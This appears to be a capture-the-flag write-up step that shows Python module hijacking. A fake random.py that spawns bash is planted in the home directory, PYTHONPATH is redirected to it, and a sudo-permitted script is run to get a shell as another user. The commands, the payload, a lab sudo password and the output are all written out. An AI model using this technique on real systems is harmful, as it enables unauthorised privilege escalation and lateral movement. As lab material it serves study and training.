Python Module Hijacking


Python script found in the home directory of the alice user appears vulnerable as it loads the random module

alice@wonderland:~$ /usr/bin/python3.6 -c "import sys; print('\n'.join(x for x in sys.path if x))"
/usr/lib/python36.zip
/usr/lib/python3.6
/usr/lib/python3.6/lib-dynload
/usr/local/lib/python3.6/dist-packages
/usr/lib/python3/dist-packages

Given the Python script uses python3.6, the command above can be used to print out the PYTHONPATH variable with the correct loading order

alice@wonderland:~$ export PYTHONPATH=/home/alice
alice@wonderland:~$ /usr/bin/python3.6 -c "import sys; print('\n'.join(x for x in sys.path if x))"
/home/alice
/usr/lib/python36.zip
/usr/lib/python3.6
/usr/lib/python3.6/lib-dynload
/usr/local/lib/python3.6/dist-packages
/usr/lib/python3/dist-packages

Appending the home directory of the alice user to the PYTHONPATH variable

alice@wonderland:~$ pwd
/home/alice
alice@wonderland:~$ cat random.py
#!/usr/bin/env python3
 
import os
 
os.system("/bin/bash")

Creating a “fake” random module in the home directory of the alice user

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
[sudo] password for alice: HowDothTheLittleCrocodileImproveHisShiningTail
 
rabbit@wonderland:~$ whoami
rabbit
rabbit@wonderland:~$ hostname
wonderland
rabbit@wonderland:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:a9:f1:ea:f3:b7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.35.235/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 3128sec preferred_lft 3128sec
    inet6 fe80::a9:f1ff:feea:f3b7/64 scope link
       valid_lft forever preferred_lft forever

Lateral Movement made to the rabbit user via hijacking a Python module